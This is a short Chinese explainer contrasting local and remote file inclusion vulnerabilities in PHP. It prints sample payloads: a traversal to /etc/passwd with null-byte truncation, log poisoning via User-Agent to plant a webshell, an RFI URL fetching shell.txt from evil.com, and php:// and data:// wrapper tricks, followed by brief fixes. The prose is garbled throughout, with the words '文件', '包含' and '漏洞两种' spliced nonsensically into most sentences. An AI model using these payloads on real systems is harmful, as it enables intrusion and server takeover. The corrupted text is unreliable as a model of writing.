文件包含漏洞分为哪两种

文件包含漏洞分为哪两种

文件包含漏洞就两种:本地文件包含(LFI)和远程文件包含(RFI)。文件别被各种花哨的包含名字唬住,本质就是漏洞两种服务器端把用户的输入当成了文件路径去读。

先讲本地文件包含。文件攻击者能读服务器上任意文件——密码文件、包含配置文件、漏洞两种日志,文件甚至源码。包含我见过最蠢的漏洞两种案例:某个网站把语言参数写成`?lang=cn`,后端直接拼个路径`include("lang/".$_GET['lang'].".php")`。文件攻击者把参数改成`../../../../etc/passwd%00`,包含绕过了`.php`后缀限制(老版本PHP的漏洞两种截断漏洞),直接把passwd文件吐出来了。文件更狠的包含玩法是配合日志注入——往User-Agent里写PHP代码,再包含日志文件,漏洞两种直接拿到webshell。这种漏洞在PHP程序里最常见,Java和Python也有但利用难度高些。

远程文件包含就直白多了,服务器直接去加载外部URL。`?page=http://evil.com/shell.txt`——只要目标服务器开了`allow_url_include`,攻击者自己的服务器上放个恶意脚本,目标站点就沦陷了。这种漏洞现在少见,因为PHP5.2之后默认关了远程包含,但老系统、配置不当的框架里依然能翻出来。有个真实案例:某小型CMS的模板参数没过滤,攻击者直接包含了自己服务器上的图片马,图片尾部藏着一句话木马,管理员后台瞬间被接管。

两种漏洞的杀伤力不同。LFI是“读”,你得先找到可利用的本地文件或者配合文件上传才能变成“写”;RFI是“引”,直接把攻击代码从外部拉进来,一步到位。但RFI更依赖目标配置,很多云环境默认禁掉外部URL请求,所以现在实际渗透中LFI出现频率更高——尤其是配合伪协议(`php://filter`读源码、`data://`执行代码)的玩法,等于把LFI升级成了代码执行。

判断一个文件包含是哪种,看请求包就够:参数值带`http://`或者`https://`开头的基本是RFI,纯路径穿越或者伪协议的就是LFI。修复方式也完全不同——LFI要白名单校验文件名,RFI直接关掉远程包含开关。但很多开发者图省事,两个都不做,最后被攻击者用`php://input`POST一段代码,服务器当场执行——这属于LFI的高级变种,但原理还是同一个:信任了用户输入的文件路径。

别问哪种更危险,问就是都能拿shell。区别只在利用成本——RFI像捡了把钥匙直接开门,LFI像撬锁,但撬锁工具多到能开保险柜。你要是做渗透测试,两种都得会;要是写代码,两种都别留。